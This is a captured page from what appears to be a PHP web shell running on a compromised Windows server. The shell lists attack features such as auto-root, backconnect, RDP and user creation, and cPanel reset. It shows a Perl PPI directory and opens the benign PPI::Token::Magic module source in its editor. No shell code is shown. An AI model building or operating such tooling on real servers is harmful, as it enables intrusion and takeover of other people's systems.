Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
perl /
vendor /
lib /
PPI /
Token /
[ HOME SHELL ]
Name
Size
Permission
Action
Number
[ DIR ]
drwxrwxrwx
Quote
[ DIR ]
drwxrwxrwx
QuoteLike
[ DIR ]
drwxrwxrwx
Regexp
[ DIR ]
drwxrwxrwx
_QuoteEngine
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-rw-rw-
ArrayIndex.pm
1.33
KB
-rw-rw-rw-
Attribute.pm
3.74
KB
-rw-rw-rw-
BOM.pm
2.46
KB
-rw-rw-rw-
Cast.pm
1.7
KB
-rw-rw-rw-
Comment.pm
3.36
KB
-rw-rw-rw-
DashedWord.pm
1.93
KB
-rw-rw-rw-
Data.pm
1.93
KB
-rw-rw-rw-
End.pm
2.39
KB
-rw-rw-rw-
HereDoc.pm
8.79
KB
-rw-rw-rw-
Label.pm
1.08
KB
-rw-rw-rw-
Magic.pm
5.57
KB
-rw-rw-rw-
Number.pm
3.21
KB
-rw-rw-rw-
Operator.pm
2.9
KB
-rw-rw-rw-
Pod.pm
3.03
KB
-rw-rw-rw-
Prototype.pm
2.47
KB
-rw-rw-rw-
Quote.pm
2.43
KB
-rw-rw-rw-
QuoteLike.pm
1.59
KB
-rw-rw-rw-
Regexp.pm
2.48
KB
-rw-rw-rw-
Separator.pm
1.29
KB
-rw-rw-rw-
Structure.pm
4.7
KB
-rw-rw-rw-
Symbol.pm
5.24
KB
-rw-rw-rw-
Unknown.pm
12.33
KB
-rw-rw-rw-
Whitespace.pm
11.72
KB
-rw-rw-rw-
Word.pm
9.13
KB
-rw-rw-rw-
_QuoteEngine.pm
5.86
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Magic.pm
package PPI::Token::Magic; =pod =head1 NAME PPI::Token::Magic - Tokens representing magic variables =head1 INHERITANCE PPI::Token::Magic isa PPI::Token::Symbol isa PPI::Token isa PPI::Element =head1 SYNOPSIS # When we say magic variables, we mean these... $1 $2 $3 $4 $5 $6 $7 $8 $9 $_ $& $` $' $+ @+ %+ $* $. $/ $| $\ $" $; $% $= $- @- %- $) $# $~ $^ $: $? $! %! $@ $$ $< $> $( $0 $[ $] @_ @* $} $, $#+ $#- $^L $^A $^E $^C $^D $^F $^H $^I $^M $^N $^O $^P $^R $^S $^T $^V $^W $^X %^H =head1 DESCRIPTION C<PPI::Token::Magic> is a sub-class of L<PPI::Token::Symbol> which identifies the token as "magic variable", one of the strange and unusual variables that are connected to "things" behind the scenes. Some are extremely common, like C<$_>, and others you will quite probably never encounter in your Perl career. =head1 METHODS The class provides no additional methods, beyond those provided by L<PPI::Token::Symbol>, L<PPI::Token> and L<PPI::Element>. =cut use strict; use PPI::Token::Symbol (); use PPI::Token::Unknown (); use PPI::Singletons qw' %MAGIC $CURLY_SYMBOL '; our $VERSION = '1.270'; # VERSION our @ISA = "PPI::Token::Symbol"; sub __TOKENIZER__on_char { my $t = $_[1]; # $c is the candidate new content my $c = $t->{token}->{content} . substr( $t->{line}, $t->{line_cursor}, 1 ); # Do a quick first test so we don't have to do more than this one. # All of the tests below match this one, so it should provide a # small speed up. This regex should be updated to match the inside # tests if they are changed. if ( $c =~ /^ \$ .* [ \w : \$ \{ ] $/x ) { if ( $c =~ /^(\$(?:\_[\w:]|::))/ or $c =~ /^\$\'[\w]/ ) { # If and only if we have $'\d, it is not a # symbol. (this was apparently a conscious choice) # Note that $::0 on the other hand is legal if ( $c =~ /^\$\'\d$/ ) { # In this case, we have a magic plus a digit. # Save the CURRENT token, and rerun the on_char return $t->_finalize_token->__TOKENIZER__on_char( $t ); } # A symbol in the style $_foo or $::foo or $'foo. # Overwrite the current token $t->{class} = $t->{token}->set_class('Symbol'); return PPI::Token::Symbol->__TOKENIZER__on_char( $t ); } if ( $c =~ /^\$\$\w/ ) { # This is really a scalar dereference. ( $$foo ) # Add the current token as the cast... $t->{token} = PPI::Token::Cast->new( '$' ); $t->_finalize_token; # ... and create a new token for the symbol return $t->_new_token( 'Symbol', '$' ); } if ( $c eq '$${' ) { # This _might_ be a dereference of one of the # control-character symbols. pos $t->{line} = $t->{line_cursor} + 1; if ( $t->{line} =~ m/$CURLY_SYMBOL/gc ) { # This is really a dereference. ( $${^_foo} ) # Add the current token as the cast... $t->{token} = PPI::Token::Cast->new( '$' ); $t->_finalize_token; # ... and create a new token for the symbol return $t->_new_token( 'Magic', '$' ); } } if ( $c eq '$#$' or $c eq '$#{' ) { # This is really an index dereferencing cast, although # it has the same two chars as the magic variable $#. $t->{class} = $t->{token}->set_class('Cast'); return $t->_finalize_token->__TOKENIZER__on_char( $t ); } if ( $c =~ /^(\$\#)\w/ ) { # This is really an array index thingy ( $#array ) $t->{token} = PPI::Token::ArrayIndex->new( "$1" ); return PPI::Token::ArrayIndex->__TOKENIZER__on_char( $t ); } if ( $c =~ /^\$\^\w+$/o ) { # It's an escaped char magic... maybe ( like $^M ) my $next = substr( $t->{line}, $t->{line_cursor}+1, 1 ); # Peek ahead if ($MAGIC{$c} && (!$next || $next !~ /\w/)) { $t->{token}->{content} = $c; $t->{line_cursor}++; } else { # Maybe it's a long magic variable like $^WIDE_SYSTEM_CALLS return 1; } } if ( $c =~ /^\$\#\{/ ) { # The $# is actually a cast, and { is its block # Add the current token as the cast... $t->{token} = PPI::Token::Cast->new( '$#' ); $t->_finalize_token; # ... and create a new token for the block return $t->_new_token( 'Structure', '{' ); } } elsif ($c =~ /^%\^/) { return 1 if $c eq '%^'; # It's an escaped char magic... maybe ( like %^H ) if ($MAGIC{$c}) { $t->{token}->{content} = $c; $t->{line_cursor}++; } else { # Back off, treat '%' as an operator chop $t->{token}->{content}; bless $t->{token}, $t->{class} = 'PPI::Token::Operator'; $t->{line_cursor}--; } } if ( $MAGIC{$c} ) { # $#+ and $#- $t->{line_cursor} += length( $c ) - length( $t->{token}->{content} ); $t->{token}->{content} = $c; } else { pos $t->{line} = $t->{line_cursor}; if ( $t->{line} =~ m/($CURLY_SYMBOL)/gc ) { # control character symbol (e.g. ${^MATCH}) $t->{token}->{content} .= $1; $t->{line_cursor} += length $1; } elsif ( $c =~ /^\$\d+$/ and $t->{line} =~ /\G(\d+)/gc ) { # Grab trailing digits of regex capture variables. $t->{token}{content} .= $1; $t->{line_cursor} += length $1; } } # End the current magic token, and recheck $t->_finalize_token->__TOKENIZER__on_char( $t ); } # Our version of canonical is plain simple sub canonical { $_[0]->content } 1; =pod =head1 SUPPORT See the L<support section|PPI/SUPPORT> in the main module. =head1 AUTHOR Adam Kennedy E<lt>adamk@cpan.orgE<gt> =head1 COPYRIGHT Copyright 2001 - 2011 Adam Kennedy. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. The full text of the license can be found in the LICENSE file included with this module. =cut
Close